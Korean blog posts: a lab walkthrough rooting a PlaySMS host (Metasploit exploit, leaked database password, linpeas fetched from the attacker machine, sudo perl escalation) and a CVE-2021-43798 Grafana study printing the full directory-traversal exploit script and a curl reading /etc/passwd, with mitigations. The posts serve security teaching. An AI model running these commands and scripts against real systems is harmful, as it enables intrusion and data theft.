playsms 정보 수집을 하는 도중에 버전에 대해선 알지 못했는데 제일 위의 취약점을 보면 csv file upload code execution 취약점이 있다.

metasploit을 이용해야 하며, 권한이 있어야 가능하다고 한다. 나는 로그인을 성공했기 때문에 msfconsole 툴을 이용하여 익스플로잇을 진행해본다

 

익스플로잇

내가 익스플로잇에 사용할 스크립트는 0번이다.

search playsms
use 0
options

msf6 exploit(multi/http/playsms_uploadcsv_exec) > set username touhid
username => touhid
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set password diana
password => diana
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 192.168.45.243
rhosts => 192.168.45.243
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 192.168.45.219
lhost => 192.168.45.219
msf6 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /SecreTSMSgatwayLogin
targeturi => /SecreTSMSgatwayLogin
msf6 exploit(multi/http/playsms_uploadcsv_exec) > exploit

대상 호스트로 초기 침투에 성공했다. 후속 정보 수집을 하기 전에 중요한 설정 파일을 우선 확인한다. config.php 파일이 있었고 그 파일을 확인한다.

<?php                                                                                                                                                        
// PHP PEAR DB compatible database engine:                                                                                                                   
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB                                                                                            
$core_config['db']['type'] = 'mysqli';          // database engine                                                                                           
$core_config['db']['host'] = 'localhost';       // database host/server                                                                                      
$core_config['db']['port'] = '3306';    // database port                                                                                                     
$core_config['db']['user'] = 'root';    // database username
$core_config['db']['pass'] = 'hello@mysql';     // database password
$core_config['db']['name'] = 'playsms'; // database name

완전 빙고다!!

데이터베이스에 대한 정보를 획득했다. 데이터베이스에 접속해본다.

데이터베이스에 접근은 성공했지만 권한 상승할만한 정보가 없어서 후속 정보 수집을 통해서 권한 상승을 시도한다.

초기 침투 후속 정보 수집

공격자 kali linux에서 linpeas.sh를 다운받은 후에 대상 호스트에서 가용성을 해하지 않는 범위 내에서 스크립트를 실행한 후에 후속 정보 수집을 실시한다. linpeas는 이전에 다운 받아져있는 파일을 사용했다.

#Kali linux
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

# 대상 호스트
wget http://192.168.45.219:1234/linpeas.sh 
--2024-06-13 14:49:10--  http://192.168.45.219:1234/linpeas.sh
Connecting to 192.168.45.219:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860323 (840K) [text/x-sh]
Saving to: `linpeas.sh'

     0K .......... .......... .......... .......... ..........  5% 3.71M 0s
    50K .......... .......... .......... .......... .......... 11% 93.9M 0s
   100K .......... .......... .......... .......... .......... 17% 58.6M 0s
   150K .......... .......... .......... .......... .......... 23%  120M 0s
   200K .......... .......... .......... .......... .......... 29% 76.5M 0s
   250K .......... .......... .......... .......... .......... 35% 81.5M 0s
   300K .......... .......... .......... .......... .......... 41% 12.0M 0s
   350K .......... .......... .......... .......... .......... 47%  653M 0s
   400K .......... .......... .......... .......... .......... 53%  566M 0s
   450K .......... .......... .......... .......... .......... 59%  608M 0s
   500K .......... .......... .......... .......... .......... 65% 31.9M 0s
   550K .......... .......... .......... .......... .......... 71%  128M 0s
   600K .......... .......... .......... .......... .......... 77%  112M 0s
   650K .......... .......... .......... .......... .......... 83%  477M 0s
   700K .......... .......... .......... .......... .......... 89%  301M 0s
   750K .......... .......... .......... .......... .......... 95%  408M 0s
   800K .......... .......... .......... ..........           100%  401M=0.02s

2024-06-13 14:49:10 (35.3 MB/s) - `linpeas.sh' saved [860323/860323]

물론 가용성을 해치지 않기 위해서 운영중인 웹 디렉터리를 이용하지 않고 /dev/shm 디렉터리에 다운받고 linpeas를 실행했다. 

후속 정보 수집을 하는 이유는 권한상승을 통해 관리자 권한을 획득하기 위함이다.

아래는 linpeas를 이용해 얻은 취약점이다

 

아래는 간단한 정보를 얻을 수 있는 수동 정보 수집 명령어 이다

# SUID 설정된 바이너리 확인
find / -perm -4000 2> /dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1 
/usr/lib/eject/dmcrypt-get-device                                             
/usr/bin/sudoedit                                                             
/usr/bin/lppasswd                                                             
/usr/bin/traceroute6.iputils                                                  
/usr/bin/newgrp                                                               
/usr/bin/at                                                                   
/usr/bin/pkexec                                                               
/usr/bin/sudo                                                                 
/usr/bin/mtr                                                                  
/usr/bin/passwd
/usr/bin/gpasswd                                                              
/usr/bin/chsh 
/usr/bin/arping                                                                                                                                              
/usr/bin/X
/usr/bin/chfn                                                                 
/usr/sbin/pppd                   
/usr/sbin/uuidd
/bin/ping6     
/bin/umount
/bin/mount
/bin/ping
/bin/su 
/bin/fusermount

# sudo NOPASSWD 설정된 바이너리
sudo -l        

Matching Defaults entries for www-data on this host:                          
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                                                            
                                       
User www-data may run the following commands on this host:                    
    (ALL) NOPASSWD: /usr/bin/perl

sudo를 이용하는데 비밀번호 없이 사용가능한 바이너리가 perl 이다 이 바이너리를 이용하여 관리자 권한을 얻기 위해서 필요한 정보는 GTFObins 사이트에서 얻을 수 있다는점 참고하면 된다.

sudo perl -e 'exec "/bin/bash";'          

id; whoami; ip a
uid=0(root) gid=0(root) groups=0(root)
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:10:53:59 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.243/24 brd 192.168.45.255 scope global eth0
    inet6 fe80::20c:29ff:fe10:5359/64 scope link 
       valid_lft forever preferred_lft forever

 

이렇게 관리자 권한 까지 획득을 했다.

 

하나 잊지 말아야할 것.!! 바로 플래그 값이다.

root@Dina:~# cat flag.txt
cat flag.txt
________                                                _________
\________\--------___       ___         ____----------/_________/
    \_______\----\\\\\\   //_ _ \\    //////-------/________/
        \______\----\\|| (( ~|~ )))  ||//------/________/
            \_____\---\\ ((\ = / ))) //----/_____/
                 \____\--\_)))  \ _)))---/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))


root password is : <숨김>
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONGO.........
FLAG : <숨김>

 

이전 게시글에서는 익스플로잇 하는 방법에 대해서 살펴보았다.

 

이 취약점은 21년도 12월에 제로데이로 트위터에 게시되어 많은 관심이 있었다고 한다 이 취약점이 공개된 이후 단 4일만에 공식 패치가 출시되어 짧은 시간동안만 제로데이였다고 한다. 

 

이제 익스플로잇 코드에 대한 분석을 해볼 것이다.

 

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

 

Grafana 8.0.0 ~ 8.3.0 버전에서 발견된 디렉터리 순회 공격 및 임의 파일 읽기 취약점이다. 이 취약점은 공격자가 서버에서 임의의 파일을 읽을 수 있도록 허용한다.

 

 

 

Description

Grafana는 데이터 시각화 및 모니터링 도구로 아주 많이 쓰이고 있다. 이 공개 취약점은 특정 플러그인을 이용하여 파일을 읽기 위해서 사용하는 경로 조작 취약점이다. 공격자는 디렉터리 순회 공격을 통해서 민감한 파일에 대한 정보를 읽을 수 있다. 

 

코드 분석

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

grafana에 있는 플러그인들에 대해서 나열해 놓은 것이다. 이 플로그인들이 공격에서 아주 유용하게 사용될 것이다.

 

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

exploit 함수에서는 공격자가 입력하여 파일을 읽을 수 있도록 입력을 받고, 공격자가 입력한 파일 경로를 포함해  URL을 구성한 후에 requests 모듈을 이용해 GET 요청을 전송한다. 디렉터리 순회 공격을 이용해 익스플로잇을 하기 때문에 ../../../../../ 와 같은 상위 디렉터리로 이동하는 것을 확인 할 수 있다.

이후 서버의 응답을 확인하여 파일이 존재하면 내용을 출력하고, 그렇지 않다면 오류메시지를 출력한다.

 

영향

취약한 Grafana 버전을 사용하는 서버들은 공격자가 서버의 중요한 파일을 읽는데 사용될 수 있다. /etc/passwd나 /etc/grafana/grafana.ini 또는 grafana.db 같은 응용 프로그램 구성 파일을 읽거나 저장되어있는 데이터베이스를 읽는다면 민감한 정보를 유출할 수 있다는 것이다. 이러한 점은 서버의 보안을 심각하게 저해할 수 있다. 또한 파일에 들어있는 내용을 읽어 다른 연계 공격이 가능할 것으로 예상된다

 

대응 방법

1. 버전 업데이트 : Grafana를 최신버전으로 업데이트 한다. 단 4일만에 패치 버전이 나온 것을 보았을 때 최신버전이 나오면 빠르게 업데이틀 하는 것이 중요하다

 

2. 웹 애플리케이션 방화벽(WAF) : 디렉터리 순회 공격을 차단할 수 있는 WAF를 사용한다

 

3. 접근 제어(Access Control) : 서버 파일 시스템에 대한 접근 권한을 최소화하고, 민감한 파일에 대한 접근을 제한한다

 

4. 입력 검증 : 사용자의 입력에 대해서 철저히 검증해야하고, 디렉터리 순회 같은 패턴을 필터링 할 수 있는 코드를 작성하여 패턴이 감지된다면 차단하여 사전에 미리 방지한다

 

 

 

 

 

'CVE' 카테고리의 다른 글

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (1)  (0) 2024.06.12

2021년 12월 경 j0vsec이 그라파나의 경로 탐색 취약점을 발견했다고 했다. 이 취약점으로 인해 인증되지 않은 사용자가 호스트의 파일을 읽을 수 있다.

부여된 CVE 코드는 CVE-2021-43798 이며, CVSSv3 Score는 7.5인 높은 수준의 취약점이다.

이 취약점에 해당하는 버전은 8.0.0 ~ 8.3.0 까지의 버전에서 취약점이 발견되었으며, 제로데이 취약점이 발견한 후에 바로 패치를 진행했다고 한다. 하지만 아직 취약점이 발견된 버전을 사용하고 있는 서버는 업데이트를 하는 것을 추천한다.

 

 

Grafana 8.3.0 서버 구축

서버는 Centos7 에서 구축을 진행했다.

# grafana 8.3.0 install
wget https://dl.grafana.com/oss/release/grafana-8.3.0.linux-amd64.tar.gz --no-check-certificate
tar -zxvf grafana-8.3.0.linux-amd64.tar.gz

# firewall open
firewall-cmd --permanent --add-port=3000/tcp
firewall-cmd --reload

# grafana 실행
cd grafana-8.3.0/bin
./grafana-server

 

 

익스플로잇 테스트를 위한 서버 구축 완료 계정 정보에 대해선 기본 계정 정보를 사용할 것이니 admin:admin 으로 로그인을 하면 된다.

 

정상적으로 로그인에 성공했다.

그라파나 버전을 확인할 수 있는 방법은 위 사진 화면 밑에 물음표에 커서를 올리면 버전이 뜨거나 kali linux를 이용해서 버전을 확인할 수 있다.

└─$ curl http://192.168.56.104:3000/login | grep "Grafana v"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 28039    0 28039    0     0  5174k      0 --:--:-- --:--:-- --:--:-- 5476k
        navTree: [{"id":"dashboards","text":"Dashboards","section":"core","subTitle":"Manage dashboards 
        and folders","icon":"apps","url":"/","sortWeight":-1800,"children":[{"id":"home","text":"Home"
        ,"icon":"home-alt","url":"/","hideFromTabs":true},{"id":"divider","text":"Divider","divider":
        true,"hideFromTabs":true},{"id":"manage-dashboards","text":"Browse","icon":"sitemap","url":
        "/dashboards"},{"id":"playlists","text":"Playlists","icon":"presentation-play","url":
        "/playlists"}]},{"id":"alerting","text":"Alerting","section":"core","subTitle":"Alert 
        rules and notifications","icon":"bell","url":"/alerting/list","sortWeight":-1600,"children":
        [{"id":"alert-list","text":"Alert rules","icon":"list-ul","url":"/alerting/list"},{"id":
        "silences","text":"Silences","icon":"bell-slash","url":"/alerting/silences"},{"id":"groups
        ","text":"Alert groups","icon":"layer-group","url":"/alerting/groups"}]},{"id":"help","text
        ":"Help","section":"config","subTitle":"Grafana v8.3.0 (914fcedb72)","icon":"question-circle
        ","url":"#","sortWeight":-1100}],

 

위와 같은 방법을 이용해도 Grafana v8.3.0 인것을 확인 할 수 있다.

 

 

Exploit(Script)

익스플로잇을 하기 위해서 kali linux 에서 searchsploit 툴을 이용하여 exploit-db.com에 저장되어있는 공개 취약점 목록을 검색해서 알려준다.

└─$ searchsploit grafana 8.3.0   
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                                                                                                | multiple/webapps/50581.py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

 

위와 같이 exploit-db 사이트에 있는 공개 취약점을 확인할 수 있으며 웹 사이트에서 확인하기 위해서 -w 옵션을 사용하여 웹 사이트 주소를 확인한 후 접속한다.

 

 

웹사이트 접속 시 익스플로잇 할 수 있는 다양한 정보를 보여주는데 공개 취약점 코드, 그리고 코드를 제공해준다. 

코드의 윗부분을 보니 8.0.0 ~ 8.3.0 버전에서 사용할 수 있다는것을 확인했다. 이 익스플로잇 코드를 가져와서 익스플로잇 해본다.

 

└─$ searchsploit -m 50581 .

└─$ cat 50581.py | head
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

searchsploit -m 을 사용하여 익스플로잇할 소스코드를 가져오고, 파일의 윗 부분을 확인해보니 exploit-db.com에서 확인한 것과 동일한 파일인 것을 확인했다. 이제 본격적으로 익스플로잇해본다

 

익스플로잇 코드 분석은 다음 게시글에서 할 예정이다. 우선 어떤식으로 취약점을 이용하여 익스플로잇하는지 파악하기 위해서 자세한 분석 없이 스크립트를 이용하여 익스플로잇을 했다.

 

한가지 더 메뉴얼한 방법으로 /etc/passwd를 찾는다면, 아래와 같이 한다.

└─$ curl --path-as-is http://192.168.56.104:3000/public/plugins/mysql/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

 

이 취약점을 이용하여 연계를 할 수 있는 것은 아주 많지만 생성되있는 사용자의 홈디렉터리에서 .bash_history를 본다던가 만약 .ssh 디렉터리에 있는 키페어의 비밀키를 탈취하여 SSH 연결을 통해 초기 침투까지 할 수 있을 것으로 예상 된다.

 

이번 게시글에서는 공개 취약점을 이용해 익스플로잇하는 방법을 살펴보았는데 다음 게시글에서는 이런 익스플로잇이 어떻게 가능한 것인지, 익스플로잇의 코드 등등 더 자세히 살펴보겠다.

 

 

'CVE' 카테고리의 다른 글

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (2)  (0) 2024.06.12

+ Recent posts